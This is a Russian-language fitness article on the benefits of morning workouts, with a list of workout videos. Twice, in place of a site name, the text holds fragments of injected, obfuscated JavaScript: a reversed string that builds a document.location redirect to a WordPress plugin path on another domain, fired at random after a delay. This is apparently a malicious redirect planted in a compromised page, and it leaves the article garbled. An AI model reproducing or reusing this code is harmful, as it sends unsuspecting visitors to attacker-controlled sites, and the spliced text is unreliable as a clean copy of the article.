Рассказываем, почему лучше заниматься утром, и показываем, как это делать.
Мы понимаем, что иногда по утрам энергии хватает только на то, чтобы почистить зубы и выпить чашку кофе. Но, возможно, утренняя тренировка — это именно то, что вам нужно.
Во-первых, это хороший способ взбодриться: даже если вы сделаете несколько упражнений, сонливость исчезнет.
Во-вторых, если позаниматься утром, у вас останется целый день на другие дела, их не придётся переносить ради вечерней тренировки.
В-третьих, у вас, скорее всего, будет меньше проблем со сном. Согласно данным американского Национального фонда сна, те, кто занимается утром, лучше спят ночью и больше времени проводят в глубоких фазах сна (именно в это время организм восстанавливается лучше всего).
fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru уже писал, что необязательно пропадать в зале часами. Можно тренироваться и десять минут. Даже небольшая физическая активность лучше, чем её отсутствие. Тренировки помогут обрести красивое тело, а ещё снизят риск возникновения болезней сердца, инсульта, диабета, рака, депрессии и улучшат настроение.
Отличные утренние тренировки от fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru
Эти тренировки идеально подойдут для утра. Повторяйте за тренерами.
Для всего тела
Для ног
Для плеч и рук
Для всего тела
Для пресса
Статьи по теме
Челлендж дня: пробуйте разные виды фитнеса каждый день
Челлендж дня: занимайтесь йогой каждое утро
Челлендж дня: готовьте сбалансированные завтраки каждый день
Челлендж дня: берите кофе с собой из дома
